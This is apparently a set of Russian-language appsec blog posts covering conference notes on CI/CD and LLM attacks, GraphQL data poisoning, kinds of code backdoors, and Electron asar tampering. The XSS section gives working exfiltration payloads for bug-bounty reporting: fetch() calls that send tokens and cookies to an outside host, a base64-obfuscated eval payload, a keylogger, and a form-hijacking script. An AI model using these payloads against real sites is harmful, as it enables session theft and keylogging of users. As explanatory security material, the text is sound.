Заехал тут на Black Hat Asia, несколько интересных моментов с выступлений:

RCE выполнение кода из зараженного репозитория возможно через git push. Она же Server Push Attack. Делается через git init --bare и размещение в репе prehook скрипта. Техника использовалась для захвата контроля над CI/CD серверами Bamboo, GitLab и других. Также понравилось выполнение кода через «отравление» environment variables. The Illusion of Isolation: How Isolation Failures in CI/CD Servers Lead to RCE and Privacy Risks

Большинство/все китайские мессенджеры используют кастомное шифрование трафика, тогда как другие/US предпочитают “классический” TLS. В кастомной крипте MMTLS от WeChat и других нашли не/серьезные баги (какая неожиданность). Should We Chat, Too? Security Analysis of WeChat's MMTLS Encryption Protocol https://citizenlab.ca/2024/10/should-we-chat-too-security-analysis-of-wechats-mmtls-encryption-protocol/

Лучшая защита от LLM prompt injection - техники guardrails, когда ответ LLM отправляют на проверку в другую LLM с запросом скоринга соответствия разрешенным. Наравне с пониманием как работает софт, какие используются сторонние wrappers, менеджеры LLM, агенты и т.п. RCE почти всегда через достигается именно через сторонний код - Tinker Tailor LLM Spy: Investigate & Respond to Attacks on GenAI Chatbots

Фроды через маркетплейсы - это дикий запад, сговоры и кидалово на всех уровнях от производителей, поставщиков, складов, до сервисов доставки и покупателей. Сервисы FaaS - Fraud as a Service помогают отжимать бабки с лохов с гарантией и большой командой тех поддержки. В продаже девайсы на базе малины, эмулирующие армию Android для накрутки рейтингов и других манипуляций. Очень много типов фродов и подробностей - Fake Deals and Real Steals: The Art of E-Commerce Fraud

Всем привет! Как обещал, делюсь презентацией со своего недавнего выступления по использованию LLM для анализа уязвимостей.

Рассказал про 7 примеров применения LLM из своего опыта, от анализа исходного кода до генерации описания уязвимостей и пентест отчетов.

Поделился наработками по установке и настройке локальных моделей, походам к поиску уязвимостей в коде, веб приложениях и инфраструктуре, а также по верификации результатов, снижения фолсов, работе с отчетами.

Всем привет. В свете растущей популярности ML расскажу про недавний случай.

Анализировал защищенность веб приложения, выдающее трейдерам агрегированные показатели, полученные из публичных источников. На первый взгляд некритичное приложение с очень небольшой поверхностью атаки.

В процессе тестирования всплыл GraphQL - популярный аналог REST API. Хорош он прежде всего тем, что выдает в ответ на {"query":"{__schema{types{name,fields{name}}}}"} (см пример на скрине) всю структуру своего API, со всеми возможными параметрами, эдакая документация.

Ответ парсим (я использую InQL расширение для Burp) и дальше смотрим какие запросы доступны в дополнение к используемым веб приложением.

Самые интересные запросы идут в разделе Mutation (опять же на скрине), аналог POST/PUT, используются для изменения данных. В моем случае один такой запрос был доступен без аутентификации и позволял отправить в бэк данные с рынков.

После общения с разработчиками выяснилось, что запрос использовался для ежедневного обновления ML модели, которая потом выдавала рекомендации по покупке/продаже. Можно было повлиять на эти рекомендации, замусорив модель поддельными данными, что привело бы неверным решениям и потерям.

Учитывайте такие возможности при анализе безопасности ML решений. Модели надо как-то тренировать и часто это происходит через API или сторонние приложения. В таких случаях можно повлиять на целостность данных для обучения с дальнейшими последствиями.

Ещё одна интересная тема, которая регулярно поднимается при анализе кода, это бэкдоры/закладки.

Под бэкдором понимается любой функционал или секреты, которые дают привилегированный доступ к приложению в обход стандартных процедур аутентификации/авторизации.

Чаще всего такой функционал добавляется разработчиками для удаленного решения проблем, отладки ошибок или по просьбе заказчика с похожими целями. Реже - для корыстных целей.

Бэкдоры бывают разные, расскажу какие сам видел:

Статические секреты. Если такой логин/пароль, значение OTP, сессионный токен, то войти как админ или обнулить пароль заданному юзеру. Самое распространенное - SECRET_KEY для подписи JWT. Знаешь key и как выглядит токен - генеришь, подписываешь, заходишь под любым пользователем.

Специальные пути / routes. Зная путь, получаешь прямой доступ к админ/дебаг/shell консоли. Были и совсем смешные случаи как на скрине (реальное приложение от крупного вендора).

Изменение логики / logic bombs - добавление в стандартные функции аутентификации/авторизации определенных значений или дополнительных параметров, зная которые, получаешь привилегированный доступ. Часто такое сопровождается обфускацией, запутыванием для code review.

"Зараженные" зависимости - самое распространенное для корыстных целей. Сам код чистый, а логика бэкдора в зависимости/внешней бибилотеке, которая подтягивается при деплое.

Выполнение по времени - "01.09.2026" или "каждые полгода" удалить/зашифровать все данные/контейнеры, создать пользователя в БД, выполнить реверс шелл.

Эксплуатация XSS становится все сложнее. Фреймворки кодируют вывод. Флаги для кук, хедеры безопасности, CSP с CORS ом не дают воспользоваться заветной уязвимостью. Однако показать alert('XSS') в отчете это моветон, на баг баунти такое вообще не примут. Покажу пару трюков, которые позволят аргументированно зарепортить XSS.

btoa/atob - полезны для one liner ов, кодируют пейлоад в/из base64. Например, нужно переслать JWT из Local Storage, пейлоад будет выглядеть примерно так:

fetch("https://myappsec.ru/token?t=" + btoa(localStorage.getItem("tokenData")), {mode: "no-cors"})

Тоже самое для Cookie, при условии что нет HttpOnly флага:

fetch("https://myappsec.ru/token?t=" + btoa(document.cookie), {mode: "no-cors"})

Здесь мы кодируем значение tokenData/куки в base64 перед пересылкой на наш сервер. Здорово, но весь пейлоад содержит спец символы, которые с большой вероятностью будут отфильтрованы, кодируем весь пейлоад Base64 и раскодируем перед выполнением eval:

<img src='/' onerror='eval(atob("ZmV0Y2goImh0dHBzOi8vbXlhcHBzZWMucnUvdG9rZW4/dD0iICsgYnRvYShsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgidG9rZW5EYXRhIikpLCB7bW9kZTogIm5vLWNvcnMifSk="))' />

Если приложение использует куки с HttpOnly, CSP настроено правильно, внешние скрипты не грузятся, какие ещё есть варианты?

Внедрить кейлоггер, обернув в eval(atob(, как на примере выше:

function logKey(event){fetch("http://myappsec.ru/k?key=" + event.key)}; document.addEventListener('keydown', logKey);

Заменить значение формы перед отправкой, например подменить получателя платежа или адрес доставки:

document.forms[0].onsubmit = function() {document.forms[0].elements[0].value="hacked";}

Заменить всю страницу, но тут уже много символов, может не влезть в one liner:

fetch("login").then(res => res.text().then(data => {
document.getElementsByTagName("html")[0].innerHTML = data
document.getElementsByTagName("form")[0].action = "https://myappsec.ru"
document.getElementsByTagName("form")[0].method = "get"
}))

https://www.youtube.com/watch?v=Z8n_DwuNRH8

Появилась запись выступления с BSides Tinker Tailor LLM Spy: Investigate & Respond to Attacks on GenAI Chatbots, о которой писал ранее с BlackHat.

Хороший обзор по prompt injection атакам и защите от них.

Electron - популярный фреймворк для разработки кросс-платформенных десктоп приложений. MS Teams, VS Code, Postman, Obsidian, Docker Desktop и куча других, в том числе российских разработок, написаны на электроне. Регулярно встречаю его при анализе, расскажу про пару особенностей.

По сути электрон - это Node.js приложение, которое разворачивается локально на компе пользователя и рендерится через Chromium. Основной код хранится в .asar файлах, которые на самом деле архивы с JS кодом. По умолчанию целостность архивов не проверяется загрузчиком, что позволяет подменить эти файлы на вредносные.

Опасность его и в том, что, благодаря кросс-платформенности, можно выполнить одинаковый вредонос и на винде и на маке и на линуксе, компиляция под конкретную ось не требуется.

На макоси вообще вся безопасность построена на проверки целостности выполняемого кода, AV нету, поэтому каждое электрон приложение, которое вы подтвердили для установки, уязвимо для произвольного выполнения кода при замене любого asar файла.

По этой теме есть целый C2 фреймворк https://github.com/boku7/Loki

Вторая особенность электрона - дырявый механизм обновления electron-updater. Он не проверяет ни источник загрузки обновлений, ни целостность загружаемых файлов, вся безопасность механизма опирается на SSL верификацию соединения. То есть при эксплуатации первой asar уязвимости, можно настроить обновление на регулярное получение новых вредоносов.

Защита electron приложений заключается в их правильной настройке, таких как проверка целостности asar ов и обновлений.

А пока вендоры неспешно их обновляют, проверьте сколько у вас .asar файлов на любимом ноуте. Все они - потенциальные бэкдоры.